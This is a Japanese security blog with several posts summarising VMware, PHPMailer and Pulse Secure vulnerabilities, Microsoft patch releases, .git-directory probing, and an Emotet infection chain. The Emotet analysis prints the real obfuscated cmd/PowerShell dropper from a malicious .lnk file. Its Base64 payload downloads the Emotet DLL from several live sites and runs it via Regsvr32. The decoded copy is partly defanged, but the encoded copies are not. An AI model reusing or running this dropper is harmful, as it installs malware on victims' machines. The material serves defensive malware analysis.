Trojankunのブログ

IT・セキュリティ関連の記事を書きます。

VMware製品の脆弱性(CVE-2022-22954/CVE-2022-22960/CVE-2022-22972/CVE-2022-22973) まとめ

■サマリー
  • 2022年4月~5月にかけてVMware製品の深刻な脆弱性が公表されました。
  • これを受けてCISA*1緊急指令22-03を発出しました。
    • 前回の緊急指令は22-02_ApacheLog4j
  • 該当製品を利用している場合は急ぎアップデートが必要です。 www.cisa.gov


脆弱性番号:報告日
  • CVE-2022-22954:2022年4月6日
  • CVE-2022-22960:2022年4月6日
  • CVE-2022-22972:2022年5月18日
  • CVE-2022-22973:2022年5月18日


■どのような脆弱性か?
  • CVE-2022-22954:Server-side Template Injection Remote Code Execution Vulnerability
    • Base Score:9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    • NWにアクセスできる攻撃者が、サーバサイドテンプレートインジェクションを起因としてリモートコードを実行する恐れがあります。
  • CVE-2022-22960:Local Privilege Escalation Vulnerability
    • Base Score:7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    • ローカルアクセス権を持つ攻撃者が特権を「root」に昇格させる恐れがあります。
  • CVE-2022-22972:Authentication Bypass Vulnerability
    • Base Score:9.8 NVD*2ではまだN/A
    • UIへのネットワークアクセスを持つ攻撃者が、認証を回避し管理アクセスを取得する恐れがあります。
  • CVE-2022-22973:Local Privilege Escalation Vulnerability
    • Base Score:7.8 NVDではまだN/A
    • ローカルアクセス権を持つ攻撃者が特権を「root」に昇格させる恐れがあります。


■影響を受ける製品


■対策
  • アップデートの適応
  • アップデートができない場合は対象製品をネットワークから隔離


■緊急指令22-03が発出された経緯
  • 2022年4月6日にCVE-2022-22954およびCVE-2022-22960が公表される。
  • 脆弱性公表から48時間以内に攻撃者によりExploitコードが開発され脆弱性の悪用が開始。
  • 2022年4月14日にCVE-2022-22954が既知の脆弱性Exploitカタログ*3に追加される。
  • 2022年4月15日にCVE-2022-22960が既知の脆弱性Exploitカタログに追加される。
  • 2022年5月18日にCVE-2022-22972およびCVE-2022-22973が公開される。
    • 前回の脆弱性公表時に48時間以内に脆弱性の悪用が始まったため、今回も早期に悪用が開始されると想定される
      • 2022年5月18日に緊急指令22-03が発出される。 www.cisa.gov


■すでに悪用されている場合の侵害の調査


■その他参考サイト

japan.zdnet.com

*1:米国国土安全保障省サイバーセキュリティインフラセキュリティ庁

*2:アメリカ国立標準技術研究所(NIST)が管理するNational Vulnerability Database

*3:https://www.cisa.gov/known-exploited-vulnerabilities-catalog

.gitディレクトリを狙った攻撃に関する調査

/.git/HEAD 宛のリクエス

監視しているサーバに次のようなHTTPリクエストが来ていました。

GET /.git/HEAD

このリクエストは設定誤りで公開されている.gitディレクトリがないか探索している通信です。 以前から何度もこのリクエストを見かけていたのですが、.gitディレクトリを公開していなければ問題ない通信なので深くは調べていませんでした。 いい機会なので今回調べてみようと思います。


参考


攻撃者が.gitディレクトリを狙う理由

.gitディレクトリにはgitに関する設定ファイルやプロジェクトのソースコードが含まれています。 ソースコードにはAPIキーや資格情報がハードコードされている場合もあり、攻撃者はこれを狙っています。 また、アプリケーションのソースコードが入手できれば攻撃者はじっくりとソースコードを解析することができ、 闇雲に攻撃するよりも効率良く攻撃が可能になります。


.gitディレクトリの構成(簡略化)

攻撃の解説の前に簡単に.gitディレクトリの構成について触れておきます。 gitの利用を始めると.gitディレクトリが作成され、.gitディレクトリ配下にHEADやconfigといったファイルが作成されます。 これらのファイルは標準的に.gitディレクトリ内に存在するので、攻撃者にとって狙いやすいファイルです。

.
├── HEAD
├── config
:
├── objects
│   ├── 11
│   │   └── 11aaaa2222bbbb3333cccc4444dddd5555eeee
│   ├── 66
│   │   └── 66ffff7777aaaa8888bbbb9999cccc0000dddd
│   ├── ee
│   │   └── ee1111ffff2222aaaa3333bbbb4444cccc5555
:
└── refs
    ├── heads
    :└── master

またobjectsディレクトリにはgitオブジェクト(=ソースコードだと思って下さい)が保存されていますが、ディレクトリ構成が少々複雑です。 それぞれのgitオブジェクトに対して40桁のSHA1ハッシュ値が生成され、先頭2文字がディレクトリ名、残り38文字がファイル名として利用されます。 SHA1ハッシュ値eeee1111ffff2222aaaa3333bbbb4444cccc5555のgitオブジェクトの場合は、/.git/objects/ee/ee1111ffff2222aaaa3333bbbb4444cccc5555 に配置されます。


攻撃者の最初のアクション

攻撃者が最初に確認したいことは、.gitディレクトリが公開されているかどうかです。 攻撃者は/.gitへアクセスし、.gitディレクトリの公開状況について確認します。

パターン① /.gitへアクセスが可能であり、ファイルの一覧表示が可能である
パターン② /.gitへアクセスすると403(Forbidden)エラーが発生する
パターン③ /.gitへアクセスすると404(Not Found)エラーが発生する

①の場合は.gitディレクトリが公開されており、.gitディレクトリ上のすべてのファイルが取得可能です。 逆に③の場合は.gitディレクトリが公開されていないため、攻撃は不成立となります。 そして②の場合、.gitディレクトリを直接見ることはできませんが、.gitディレクトリ上のファイルを直接指定することでそのファイルを参照できます。 ここで.gitディレクトリ内に標準的に存在する/.git/HEAD へのアクセスが試行されます。


攻撃者が/.git/HEADにアクセスし確認したいこと

攻撃者が/.git/HEADへアクセスする理由はもう1つあります。
上記の②のパターンの場合、攻撃者は入手したいソースコードのパスを直接指定する必要があります。 しかし、gitオブジェクトが置かれるパスはgitオブジェクトのSHA1ハッシュ値から生成され、 例としてSHA1ハッシュ値eeee1111ffff2222aaaa3333bbbb4444cccc5555のgitオブジェクトの場合は、 /.git/objects/ee/ee1111ffff2222aaaa3333bbbb4444cccc5555に配置されます。 攻撃者はgitオブジェクトのSHA1ハッシュ値がわからないはずなので、/.git/objects/ee/ee1111ffff2222aaaa3333bbbb4444cccc5555のような複雑なパスにはアクセスできないように思えますが、/.git/HEADや/.git/refs/heads/master のファイルの中にはgitオブジェクトのSHA1ハッシュ値に関する情報が格納されているため、これを知るために攻撃者は/.git/HEADにアクセスしてきます。


その他
  • /.git/HEAD へアクセスしてきた通信のUserAgentを見てみると、Headless Chrome でした。
    • 攻撃者も攻撃の自動化をどんどん進めているんだなあと思いました。
  • 他のUserAgentとしては RepoLookoutBot/1.0.0 が興味深かったです。
    • 誤って公開されている.gitディレクトリの探索を目的としたスキャナー
    • 善意でやっているのか商業目的でやっているのかは不明です

www.repo-lookout.org

Emotetの感染手法に関する調査

Emotetばら撒き再開

2022/05/12より、Emotetのばら撒きが再開されたそうなので興味本位でEmotetの感染手法について調査しました。 (以下のTweetを参照させていただきました。)


今回調査した検体

https://tria.ge/220511-3czl6sfdfn
zipファイルがメール添付されており、解凍すると中にlnkファイルがあるパターン

lnkファイルに含まれているコマンド全文
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }"


cmd -> Powershell実行まで
"C:\Windows\system32\cmd.exe" /v:on /c M/sXPr4KffgFntQuZ4JBbtq1jStjU+wg3mwp1NCAxQSmay5js/nhnTV2H0+6ZjnJTk5SptbW||goto&p^o^w^e^r^s^h^e^l^l.e^x^e
  • /v:on・・・プロンプト起動時の遅延環境変数の展開機能を有効にする
  • /c・・・起動後にプロンプトを閉じる
  • コマンド1 || コマンド2・・・コマンド1に失敗したときのみコマンド2を実行
  • コマンド1 & コマンド2・・・コマンド1を実行した後にコマンド2を実行
  • 文字列に含まれるTab文字は無視される
  • 結局のところpowershell.exeが実行される

Powershellの実行
p^o^w^e^r^s^h^e^l^l.e^x^e -c "&{iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0='))) }
  • -c・・・コマンドをPowerShellで実行
  • &{}・・・{}で囲まれた部分のコマンドを評価して実行する
  • iex・・・Invoke-Expression:コマンドを評価して実行する
  • [System.Text.Encoding]::ASCII.GetString・・・文字列をASCIIとして取得する
  • [System.Convert]::FromBase64String・・・文字列をBase64でデコードする
  • なのでBase64文字列をデコードしたコードがPowershellで実行される

Base64文字列
ICAgICBXcml0ZS1Ib3N0ICJqWW1aemlnT1JrIjskUHJvZ3Jlc3NQcmVmZXJlbmNlPSJTaWxlbnRseUNvbnRpbnVlIjskbGlua3M9KCJodHRwOi8vZ29vbmJveS5jb20vZ29vbmllL2JTRno3QXYvIiwiaHR0cDovL2R1bGljaGRpY2h2dS5uZXQvbGlicmFyaWVzL1FodHJqQ1p5bUxwNUVicU9kcEtrLyIsImh0dHA6Ly9nZW5jY2FnZGFzLmNvbS50ci9hc3NldHMvVFRIT204MzNpTm4zQnhULyIsImh0dHA6Ly9lYXNpZXJjb21tdW5pY2F0aW9ucy5jb20vd3AtY29udGVudC93LyIsImh0dHA6Ly9oZWF2ZW50ZWNobm9sb2dpZXMuY29tLnBrL2FwaXRlc3QveGRlQVUwcngyNkxUOUkvIiwiaHR0cHM6Ly93d3cud2hvdy5mci93cC1pbmNsdWRlcy9INTRGZ2owdEcvIik7JHRtcD0iSWdNSUQiO21rZGlyIC1mb3JjZSAiJGVudjpURU1QXC4uXCR0bXAiICB8IG91dC1udWxsO2ZvcmVhY2ggKCR1IGluICRsaW5rcykge3RyeSB7SVdSICR1IC1PdXRGaWxlICRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQjtSZWdzdnIzMi5leGUgIiRlbnY6VEVNUFwuLlxJZ01JRFxudnd0U3FudVhmLnVCQiI7YnJlYWt9IGNhdGNoIHsgfX0=



Base64文字列のデコード後(一部サニタイズしてます)
     Write-Host "jYmZzigORk";$ProgressPreference="SilentlyContinue";$links=("hxxp://goonboy.com/goonie/bSFz7Av/","hxxp://dulichdichvu.net/libraries/QhtrjCZymLp5EbqOdpKk/","hxxp://genccagdas.com.tr/assets/TTHOm833iNn3BxT/","hxxp://easiercommunications.com/wp-content/w/","hxxp://heaventechnologies.com.pk/apitest/xdeAU0rx26LT9I/","hxxps://www.whow.fr/wp-includes/H54Fgj0tG/");$tmp="IgMID";mkdir -force "$env:TEMP\..\$tmp"  | out-null;foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP\..\IgMID\nvwtSqnuXf.uBB;Regsvr32.exe "$env:TEMP\..\IgMID\nvwtSqnuXf.uBB";break} catch { }}
  • Write-Host "jYmZzigORk"
    • コンソール画面に"jYmZzigORk"を出力する(意味はよくわからない)
  • $ProgressPreference="SilentlyContinue"・・・Powershellの緑帯表示を抑制する
  • $links・・・Emotet本体(DLLファイル)をホストしているURLのリスト
  • mkdir -force "$env:TEMP..\$tmp" | out-null
  • foreach ($u in $links) {try {IWR $u -OutFile $env:TEMP..\IgMID\nvwtSqnuXf.uBB
    • Emotet本体(DLLファイル)をホストしているURLから「IgMID」ディレクトリ配下に「nvwtSqnuXf.uBB」という名前でEmotetをDL
  • Regsvr32.exe "$env:TEMP..\IgMID\nvwtSqnuXf.uBB"
    • Regsvr32.exe に「nvwtSqnuXf.uBB」を登録する

参考

今回の調査を行うにあたって、以下のサイトが大変参考になりました。 binary-pulsar.hatenablog.jp

2022年05月 Microsoft 月例セキュリティ更新 要点まとめ

msrc-blog.microsoft.com

■悪用確認済の脆弱性
■悪用はないが公開ありの脆弱性
■CVSSスコアが高い脆弱性(Base Score 9.8)
■言及があったその他の脆弱性

PHPMailerの脆弱性(CVE-2020-36326) まとめ

脆弱性番号

CVE-2020-36326

■報告日

2021/04/29

■概要
  • PHPMailerはフィルタリングされていない"phar://"のPathをaddAttachment関数および他の関数に渡します。これによりオブジェクト注入攻撃に対して脆弱性を持ち、RCEにつながる可能性があります。
  • 今回の脆弱性(CVE-2020-36326)は、以前の脆弱性(CVE-2018-19296)の再発です。
  • CVE-2018-19296の修正バージョンとして、PHPMailer 6.0.6 および 5.2.27 が公開されたが、6.1.8 の公開の際に脆弱性が再発しました。

PHPMailer - Security Advisories - CVE-2020-36326
https://github.com/PHPMailer/PHPMailer/security/advisories/GHSA-m298-fh5c-jc66 PHPMailer - Security Advisories - CVE-2018-19296
https://github.com/advisories/GHSA-7w4p-72j7-v7c2

■影響バージョン

PHPMailer 6.1.8 から 6.4.0 までのバージョン

■回避策

PHPMailer 6.4.1 へのアップデート

■注意点
■その他参考サイト

www.security-next.com

Pulse Connect Secure の脆弱性(CVE-2021-22893) まとめ

脆弱性概要

Pulse Connect Secure RCE Vulnerability (CVE-2021-22893)

kb.pulsesecure.net

■どのような脆弱性

認証されていないリモートの攻撃者が不特定のベクターを介して任意のコードを実行する可能性があります。 CVSS 3.1 スコア 10(クリティカル)

■対象バージョン

PCS9.0R3以降

■対応策

①Pulse Connect Secure Integrity Tool の実行

  • 攻撃者は脆弱性の悪用に成功すると、アプライアンスにWebシェルを配置して永続的なアクセスを取得する可能性がある。
  • このツールはファイルシステムの整合性をチェックし、ハッシュ値の不一致を検出できる。(すでに攻撃が成功し、Webシェルなどの不正なファイルが置かれていた場合、検出できる。)
  • 検出された不一致ファイルは、暗号化されたzipアーカイブとしてダウンロードできる。

Pulse Connect Secure Integrity Tool

https://kb.pulsesecure.net/pkb_mobile#article/l:en_US/KB44755/s

②回避策の実行

  • Workaround-2104.xmlファイルをインポートすることで軽減できる。
  • 影響: XMLファイルは、PCSアプライアンスで次の機能を無効にする。
  • Windowsファイル共有ブラウザ
  • パルスセキュアコラボレーション

③アップデートの実施

  • まだ提供されていない。5月上旬提供見込み。

【参考】 CISA - Emergency Directive 21-03 cyber.dhs.gov

■日本語参考記事(セキュリティネクスト)

www.security-next.com www.security-next.com

2021年4月 Microsoft Security Update まとめ

社内のMS製品にセキュリティパッチを適用するかの判断材料として、2021年4月の Microsoft Security Update について情報収集をしました。 注意すべき脆弱性/更新内容を洗い出します。

■2021年4月のアップデート・公開された脆弱性一覧

Security Update Guide - Microsoft Security Response Center

・releaseNote 2021/04

msrc.microsoft.com

今月のリリースには、オンプレミスのExchange Serverの新しい脆弱性から保護するための更新など、優先することをお勧めするいくつかの重大な脆弱性が含まれています。これらの新しい脆弱性は、セキュリティパートナーによって標準の調整された脆弱性の開示を通じて報告され、マイクロソフトによって内部的に発見されました。お客様に対する攻撃で使用される脆弱性は確認されていません。ただし、最近の攻撃者がExchangeに注目していることを考えると、これらの脅威やその他の脅威から保護された状態を維持するために、できるだけ早く更新をインストールすることをお勧めします。

■セキュリティニュースサイト

ZDNET www.zdnet.com ・TalosBlog blog.talosintelligence.com ・セキュリティネクスwww.security-next.com

今月はExchange Server脆弱性が1番騒がれています。 リモートコード実行の脆弱性で以下の4つのCVEです。

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28480

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28483

またWin32k における権限昇格の脆弱性も注目されています。 こちらは一般に公開されていないものの、すでに悪用が確認されているため。

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28310

Exchange Server脆弱性について

Microsoft Security Response Center msrc-blog.microsoft.com ・Released: April 2021 Exchange Server Security Updates techcommunity.microsoft.com